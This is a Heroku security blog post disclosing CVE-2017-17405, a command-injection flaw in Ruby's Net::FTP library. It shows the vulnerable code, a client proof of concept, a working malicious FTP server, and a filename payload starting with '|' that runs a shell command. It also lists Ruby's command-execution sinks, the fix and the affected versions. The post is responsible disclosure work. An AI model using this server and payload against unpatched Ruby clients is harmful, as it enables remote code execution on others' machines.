At Heroku we consistently monitor vulnerability feeds for new issues. Once a new vulnerability drops, we jump into action to triage and determine how our platform and customers may be affected. Part of this process involves evaluating possible attack scenarios not included in the original vulnerability report. We also spend time looking for "adjacent" and similar bugs in other products. The following Ruby vulnerability was identified during this process.
Vulnerability Triage
A vulnerability, CVE-2017-8817, was identified in libcurl
. The FTP function contained an out of bounds read when processing wildcards. As soon as the vulnerability was made public, we went through our various systems to determine how they are affected and to initiate the patching process. Direct libcurl
usage inside Heroku´s systems were identified and marked for patching. Once we were confident that all instances were flagged, we started looking into other libraries that might have a similar issue. On a hunch, and because a large number of our customers make use of Ruby, we decided to look at Ruby's FTP implementation. Our approach was twofold, first to determine if Ruby uses libcurl
for its FTP functions, and if so, could this vulnerability be triggered in a Ruby application. And second, to determine if Ruby had a custom FTP implementation, whether this also allowed FTP wildcards and, if so, if vulnerabilities also existed in this implementation.
To do our investigation we downloaded the latest source code for Ruby, at the time version 2.4.2, and did a quick grep
for any mention of FTP.
$ grep -i ftp -R *
ChangeLog:net/ftp: add a new option ssl_handshake_timeout to Net::FTP.new.
ChangeLog:net/ftp: close the socket directly when an error occurs during TLS handshake.
ChangeLog:Otherwise, @sock.read in Net::FTP#close hungs until read_timeout exceeded.
ChangeLog:net/ftp: close the connection if the TLS handshake timeout is exceeded.
It turns out Ruby has its own FTP library and this is packaged as net/ftp. We started looking into the lib/net folder, half expecting a custom C implementation of FTP. Turns out there is a solitary ftp.rb file, and it only weighed in at 1496 lines of code.
The Vulnerability
While reading through the code in ftp.rb there were a few of the usual suspects to look out for:
command
%x/command/
IO.popen(command)
Kernel.exec
Kernel.system
Kernel.open("| command")
andopen("| command")
All of the above functions are common vectors to gain Remote Code Execution (RCE) in Ruby applications, and are thus one of the first things to look for during code analysis. It didn't take long to identify a few locations where the open
function was being used to access files for reading and writing.
Looking at the gettextfile
function, we could see a call to open
using what appeared to be user controlled data:
778 #
779 # Retrieves +remotefile+ in ASCII (text) mode, storing the result in
780 # +localfile+.
781 # If +localfile+ is nil, returns retrieved data.
782 # If a block is supplied, it is passed the retrieved data one
783 # line at a time.
784 #
785 def gettextfile(remotefile, localfile = File.basename(remotefile),
786 &block) # :yield: line
787 f = nil
788 result = nil
789 if localfile
790 f = open(localfile, "w")
791 elsif !block_given?
792 result = String.new
793 end
794 begin
795 retrlines("RETR #{remotefile}") do |line, newline|
796 l = newline ? line + "\n" : line
797 f&.print(l)
798 block&.(line, newline)
799 result&.concat(l)
800 end
801 return result
802 ensure
803 f&.close
804 end
805 end
The localfile
value would trigger command execution if the value was | os command
. In general use, most users would likely provide their own localfile
value and would not rely on the default of File.basename(remotefile)
however, in some situations, such as listing and downloading all files in a FTP share, the remotefile
value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either ls -l
style for the LIST
command, or filenames for NLIST
), there is no guarantee that filename will be a valid filename.
PoC
We wrote a basic Ruby client that we could use to test the vulnerability. This client simply connects to a server, requests a list of files, and then tries to download all the files.
require 'net/ftp'
host = '172.17.0.4'
port = 2121
Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
ftp.login
fileList = ftp.nlst('*')
fileList.each do |file|
ftp.gettextfile(file)
end
end
Our server would need to respond to the NLIST
command with a filename containing our command to executed. Since no validation or sanitization is done on the supplied filename, it would simply be passed straight to the open
function and our command would execute. The only caveat being that our "filename" needs to start with |
.
The PoC server code is not the best Ruby code you will ever see, but it was good enough to trigger the vulnerability and provide us with RCE. The server needs to simulate the handshake of an FTP connection. This fools the client into thinking it is connecting to a real FTP server and does the bare minimum to get the client to request a list of files.
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')
server = TCPServer.new port
loop do
Thread.start(server.accept) do |client|
client.puts "220 Attack FTP\r\n"
r = client.gets
puts r
client.puts "331 password please - version check\r\n"
r = client.gets
puts r
client.puts "230 User logged in\r\n"
r = client.gets
puts r
client.puts "230 more data please!\r\n"
r = client.gets
puts r
client.puts "230 more data please!\r\n"
r = client.gets
puts r
wait = true
psv = Thread.new do
pserver = TCPServer.new 23461
Thread.start(pserver.accept) do |pclient|
while wait do
end
pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
pclient.close
end
end
sleep 1
client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
r = client.gets
puts r
psv.join
client.puts "150 Here comes the directory listing.\r\n"
wait = false
client.puts "226 Directory send OK.\r\n"
r = client.gets
puts r
client.puts "221 goodbye\r\n"
client.close
end
end
The actual exploit happens when we supply the filelist
, with pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
, which will result in echo $(id) > pang
being run on the connecting client. If our exploitation is successful, we would see a new file created on the client, containing the output of the id
command. Although not strictly necessary, we "encoded" the space using ${IFS}
, which is a special shell variable called the Internal Field Separator. This is useful in cases where spaces cause issues in your payloads.
Report and Fix
We reported the vulnerability to the Ruby team shortly after discovery. The response was excellent and the bug was fixed within hours.
The Ruby team simply replaced the open
function with the File.open
function, which is not vulnerable to command injection.
The fix was included in the stable release of Ruby, version 2.4.3. We were also assigned CVE-2017-17405.
The following versions of Ruby are all affected by this vulnerability:
- Ruby 2.2 series: 2.2.8 and earlier
- Ruby 2.3 series: 2.3.5 and earlier
- Ruby 2.4 series: 2.4.2 and earlier
- Ruby 2.5 series: 2.5.0-preview1
- prior to trunk revision r61242
Conclusion
System hygiene (ephemerality, immutability, patching, etc) is the foundation of securable systems. Safe and open communication around vulnerabilities being patched raises awareness of similar weaknesses affecting our entire computing ecosystem. You might think of this as how our immunity to classes of vulnerabilities evolve, protecting our infrastructure.
At Heroku we closely monitor security research and vulnerability disclosure. Our belief and investment in the safe discussion around vulnerabilities works to ensure our software stack is kept up to date and our customers are protected.
Patch management forms an integral part of the security life-cycle and cannot be a static process of simply applying patches. Reviewing and understanding the underlying causes of vulnerabilities being patched can help identify further vulnerabilities in the affected software, or even completely different software packages. We closely monitor security research and vulnerability disclosure to ensure our software stack is kept up to date and our customers are protected.